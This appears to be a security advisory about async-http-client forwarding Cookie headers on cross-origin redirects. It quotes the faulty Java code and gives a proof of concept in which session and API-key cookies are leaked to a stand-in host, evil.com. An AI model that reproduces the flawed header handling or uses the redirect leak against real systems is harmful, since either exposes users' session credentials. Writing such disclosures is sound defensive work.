async-http-client: Cookie header not stripped on cross-origin redirect

Summary

async-http-client leaks Cookie headers to cross-origin redirect targets. When following a redirect across a security boundary (different origin, or HTTPS→HTTP downgrade), the propagatedHeaders() method in Redirect30xInterceptor.java strips Authorization and Proxy-Authorization headers but does not strip Cookie, so session cookies and other sensitive cookie values are forwarded to the redirect target — which may be attacker-controlled.

Details

The vulnerability is in client/src/main/java/org/asynchttpclient/netty/handler/intercept/Redirect30xInterceptor.java.

The caller computes stripAuth on each redirect:

boolean sameBase    = request.getUri().isSameBase(newUri);
boolean stripAuth   = !sameBase || schemeDowngrade || stripAuthorizationOnRedirect;
// ...
requestBuilder.setHeaders(propagatedHeaders(request, realm, keepBody, stripAuth));

stripAuth is true whenever the redirect crosses an origin, downgrades the scheme, or the caller opted in via AsyncHttpClientConfig#isStripAuthorizationOnRedirect().

In the vulnerable version, propagatedHeaders() only removes Authorization and Proxy-Authorization in that branch — Cookie is left untouched:

private static HttpHeaders propagatedHeaders(Request request, Realm realm, boolean keepBody, boolean stripAuthorization) {
    HttpHeaders headers = request.getHeaders()
            .remove(HOST)
            .remove(CONTENT_LENGTH);

    if (!keepBody) {
        headers.remove(CONTENT_TYPE);
    }

    if (stripAuthorization || (realm != null && (realm.getScheme() == AuthScheme.NTLM
            || realm.getScheme() == AuthScheme.SCRAM_SHA_256))) {
        headers.remove(AUTHORIZATION)
                .remove(PROXY_AUTHORIZATION);
        // BUG: COOKIE is not removed here, so cookies leak across the security boundary.
    }
    return headers;
}

The companion test class RedirectCredentialSecurityTest covers Authorization / Proxy-Authorization stripping on cross-origin redirects and scheme downgrades, but has no coverage for Cookie, which is why the regression went unnoticed.

Proof of concept

import org.asynchttpclient.*;

AsyncHttpClient client = asyncHttpClient();

// trusted-api.com responds 302 -> https://evil.com
Request request = new RequestBuilder("GET")
        .setUrl("https://trusted-api.com/endpoint")
        .setHeader("Cookie", "session=abc123; csrf=xyz789; api_key=secret")
        .setHeader("Authorization", "Bearer token123")
        .build();

client.executeRequest(request).get();

// Request seen by evil.com after the redirect:
//   Authorization: <stripped>
//   Cookie:        session=abc123; csrf=xyz789; api_key=secret   <-- leaked